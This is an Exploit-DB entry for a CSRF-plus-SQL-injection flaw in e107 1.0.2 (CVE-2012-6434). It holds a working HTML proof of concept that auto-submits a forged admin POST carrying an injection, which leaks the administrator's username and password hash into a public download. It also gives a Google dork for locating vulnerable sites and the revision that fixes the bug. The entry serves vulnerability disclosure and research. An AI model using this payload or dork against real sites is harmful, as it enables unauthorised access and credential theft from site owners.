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e107 1.0.2 - CSRF Resulting in SQL Injection



EDB-ID: 23829 CVE: 2012-6434 OSVDB-ID: 88908
Author: Joshua Reynolds Published: 2013-01-02 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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# Exploit Title: e107 v1.0.2 Administrator CSRF Resulting in SQL Injection
# Google Dork: intext:"This site is powered by e107"
# Date: 01/01/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://e107.org
# Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.2/e107_1.0.2_full.tar.gz/download
# Version: 1.0.2
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2012-6434
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Description:

Cross-Site Request Forgery vulnerability in the e107_admin/download.php page, which is also vulnerable to SQL injection in the POST form.
The e-token or ac tokens are not used in this page, which results in the CSRF vulnerability. This in itself is not a major security vulnerability but when done in conjunction with a SQL injection attack it can result in complete information disclosure.

The parameters which are vulnerable to SQL injection on this page include: download_url, download_url_extended, download_author_email, download_author_website, download_image, download_thumb, download_visible, download_class.

The following is an exploit containing javascript code that submits a 
POST request on behalf of the administrator once the page is visited. It contains a SQL injection that would provide the username and password (in MD5) of the administrator to be added to the Author Name of a publicly available download.
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Exploit:

<html>
<body onload="document.formCSRF.submit();">
	<form method="POST" name="formCSRF" action="http://[site]/e107/e107102/e107_admin/download.php?create">
		<input type="hidden" name="cat_id" value="1"/>
		<input type="hidden" name="download_category" value="2"/>
		<input type="hidden" name="download_name" value="adminpassdownload"/>
		<input type="hidden" name="download_url" value="test.txt', (select concat(user_loginname,'::',user_password) from e107_user where user_id = '1'), '', '', '', '', '0', '2', '2', '1352526286', '', '', '2', '0', '', '0', '0' ) -- -"/>
		<input type="hidden" name="download_url_external" value=""/>
		<input type="hidden" name="download_filesize_external" value=""/>
		<input type="hidden" name="download_filesize_unit" value="KB"/>
		<input type="hidden" name="download_author" value=""/>
		<input type="hidden" name="download_author_email" value=""/>
		<input type="hidden" name="download_author_website" value=""/>
		<input type="hidden" name="download_description" value=""/>
		<input type="hidden" name="download_image" value=""/>
		<input type="hidden" name="download_thumb" value=""/>
		<input type="hidden" name="download_datestamp" value=""/>
		<input type="hidden" name="download_active" value="1"/>
		<input type="hidden" name="download_datestamp" value="10%2F11%2f2012+02%3A47%3A47%3A28"/>
		<input type="hidden" name="download_comment" value="1"/>
		<input type="hidden" name="download_visible" value="0"/>
		<input type="hidden" name="download_class" value="0"/>
		<input type="hidden" name="submit_download" value="Submit+Download"/>
	</form>
</body>
</html>
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Fix:

This bug has been fixed in the following revision: r13058
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Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family.

Contact: 
Mail: infosec4breakfast@gmail.com
Blog: infosec4breakfast.com
Twitter: @jershmagersh
Youtube: youtube.com/user/infosec4breakfast